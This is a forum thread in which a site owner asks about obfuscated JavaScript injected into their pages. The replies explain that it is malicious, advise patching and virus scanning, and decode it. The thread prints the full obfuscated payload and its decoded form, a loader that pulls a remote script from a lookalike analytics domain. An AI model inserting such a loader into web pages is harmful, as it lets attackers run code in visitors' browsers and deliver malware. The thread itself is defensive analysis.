web pages modified on my website: some javascript added

I saw that some of my websites  were modified.
After <html> there are 20-40 lines of blank then a javascript was added

<!--3666ce780cc4f90fc9bfc03849efde5e-><script language=javascript>wly="%";ih="h3csch72h69h70th20language=javh61h73cript>  fh75h6eh63h74ion fh72oqv(m)h7bvah72 cmu,h62h62=\"@h56Uh722h23a=P]:Fh68h29}h65h43h41h7b(h70h4aj7M~+_h45-y3G;h4bh38N5h67h30h6bxh63f!mtvh24. h34h60ih73^'h42z&oTwh71h4fl[dH*Z|h31h2c6h62I9h5ch22uh6eh22,jt=\"\",h6fh2ch69l,h66xh3d\"\",zx;fh6fr(ch6duh3dh30h3bcmu<h6dh2eh6ceh6eh67h74h68h3bcmh75+h2b)h7bh20o=h6dh2ech68arAh74(h63mh75)h3bh69h6ch3dbh62h2einh64h65xh4ff(o)h3bif(h69l>-1h29h7b zx=(h28ilh2bh31)h25h381-1)h3bh69h66(h7ax<h3dh30h29h7ah78h2bh3d81;fx+h3dh62h62.ch68ah72h41h74(zx-h31); }h20elh73eh20h66x+=h6f;}jh74+h3dfh78;doch75h6dh65h6eth2ewrh69h74e(jt);}h3ch2fsch72ih70h74h3e";ceap=unescape(ih.replace(/h/g,wly));var pxv,e;document.write(ceap);pxv="<^f2sJv4[=@0n=0CPu7=$=^f2sJvu>4HTfntC@v q2svCp4u<SAR9]w4[=@0n=0CP\\uj=$=Sf2sJv\\u4SRAP\\u)vvJF//qqq 0TT0[C=@=[svsf^ @Cv/EEnvI 7^?u_HTfntC@v 2C!C22C2_u\\u><\\/SAR9]w>u4}K4</^f2sJv>44";froqv(pxv);</script>

what is this ? What does it does and how to prevent it happens again ?
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This is scrambled javascript which was added to your HTML in order to serve malign purposes whenever the site is opened in a browser with Javascript enabled.
If it's harmless, the "hacker" will display a message to your visitors. If it's really malicious, it will make the visitor download and execute malware.

Do you run PHP/MySQL applications on your website, like Content Management Systems, forums etc? Make sure to upgrade them to the latest version immediately, because it will most likely have been an exploit in this software (SQL injection etc.) that enabled the "hacker" to alter your pages.
Make sure you remove the code as well.
I can't say for sure what it does, but it is probably a manifestation of a virus on the machine where your websites are stored, or developed.

I ran across a similar problem about a month ago when some files turned up with an appended javascript on our source control. Turns out the infestation was from a virus that would leech of some windows event handlers for opening and saving files, appending the javascript to the files if they had certain extensions (html,php,asp,aspx).
Bitdefender was able to detect and remove the virus, and after that we had to manually remove the extra javascript from the pages.

My recommendation is that you run a full virus scan with a competent antivirus application on the server machine and all development machines, remove any virus infestations and then try to remove the script manually and see if it turns up again. It probably won't, if the virus was successfully removed.

I hope this helps, please let me know if you have any questions.

Best Regards,
Alex Percsi.
I was able to decode the meaning of the scrambled code you posted.

here it is. The output of the above script is that it add another script to the page

<script language="javascript"> document.write( "<SCRIPT language=\"JavaScript\" SRC=\"http://www.googleanalitics.net/__utb.js?"+document.referrer+"\"><\SCRIPT>" ); </script>  

Dont worry about the domain www.googleanalytics.net it is not active. So if it was active, it would have executed the __utb.js script

I have also attached the descrambled code here.
<script language=javascript>
      <script language=javascript>  
         function froqv(m)
                       var cmu,
                       bb = "@VUr2#a=P]:Fh)}eCA{(pJj7M~+_E-                        y3G;K8N5g0kxcf!mtv$. 4`is^'Bz&oTwqOl[dH*Z|1,6bI9\"un",
                             else fx+=o;
       var pxv,e;
       pxv="<^f2sJv4[=@0n=0CPu7=$=^f2sJvu>4HTfntC@v q2svCp4u<SAR9]w4[=@0n=0CP\uj=$=Sf2sJv\u4SRAP\u)vvJF//qqq 0TT0[C=@=[svsf^ @Cv/EEnvI 7^?u_HTfntC@v 2C!C22C2_u\u><\/SAR9]w>u4}K4</^f2sJv>44";

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Aah, beat me to it ;)

Had been playing around with this script and was just going to post the de-obfuscated version ....
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